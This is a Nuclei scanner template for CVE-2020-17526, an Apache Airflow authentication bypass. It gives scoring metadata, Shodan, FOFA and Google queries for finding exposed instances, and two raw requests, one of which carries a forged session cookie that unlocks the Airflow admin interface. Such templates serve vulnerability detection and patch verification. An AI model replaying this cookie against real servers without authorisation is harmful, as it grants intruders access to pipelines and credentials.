Apache Airflow <1.10.14 - Authentication Bypass

id: CVE-2020-17526

info:
  name: Apache Airflow <1.10.14 - Authentication Bypass
  author: piyushchhiroliya
  severity: high
  description: |
    Apache Airflow prior to 1.10.14 contains an authentication bypass vulnerability via incorrect session validation with default configuration. An attacker on site A can access unauthorized Airflow on site B through the site A session.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to sensitive information or unauthorized execution of arbitrary code.
  remediation: Change default value for [webserver] secret_key config.
  reference:
    - https://kloudle.com/academy/authentication-bypass-in-apache-airflow-cve-2020-17526-and-aws-cloud-platform-compromise
    - https://lists.apache.org/thread.html/rbeeb73a6c741f2f9200d83b9c2220610da314810c4e8c9cf881d47ef%40%3Cusers.airflow.apache.org%3E
    - http://www.openwall.com/lists/oss-security/2020/12/21/1
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17526
    - https://lists.apache.org/thread.html/r466759f377651f0a690475d5a52564d0e786e82c08d5a5730a4f8352@%3Cannounce.apache.org%3E
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:N/A:N
    cvss-score: 7.7
    cve-id: CVE-2020-17526
    cwe-id: CWE-287
    epss-score: 0.23864
    epss-percentile: 0.97826
    cpe: cpe:2.3:a:apache:airflow:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: airflow
    shodan-query:
      - http.title:"airflow - dags" || http.html:"apache airflow"
      - http.title:"sign in - airflow"
      - product:"redis"
    fofa-query:
      - Apache Airflow
      - apache airflow
      - title="airflow - dags" || http.html:"apache airflow"
      - title="sign in - airflow"
    google-query:
      - intitle:"sign in - airflow"
      - intitle:"airflow - dags" || http.html:"apache airflow"
  tags: cve,cve2020,apache,airflow,auth-bypass,vuln

http:
  - raw:
      - |
        GET /admin/ HTTP/1.1
        Host: {{Hostname}}
      - |
        GET /admin/ HTTP/1.1
        Host: {{Hostname}}
        Cookie: session=.eJwlzUEOwiAQRuG7zLoLpgMM9DIE6D-xqdEEdGW8u03cvy_vQ8UG5o02q_eJhcqx00YdDaKao6p5ZZe89ZyFUaPExqCF-hxWXs8Tj6tXt_rGnKpxC6vviTNiELBxErerBBZk9Zd7T4z_hOn7A0cWI94.YwJ5bw.LzJjDflCTQE2BfJ7kXcsOi49vvY

    matchers-condition: and
    matchers:
      - type: dsl
        dsl:
          - "contains(body_1, 'Redirecting...')"
          - "status_code_1 == 302"
        condition: and

      - type: word
        part: body_2
        words:
          - "DAG"
          - "Recent Tasks"
          - "Users"
          - "SLA Misses"
          - "Task Instances"
        condition: and
# digest: 4b0a00483046022100f490f2de7d5f84a0e2c5c19efb9822fd78afaf781de78680af1f52032cc1bed7022100ffd150db0727aa08f4d2fd39380c7cd9ac2e303bb5181a0e8fce9e68d5d1538b:922c64590222798bb761d5b6d8e72950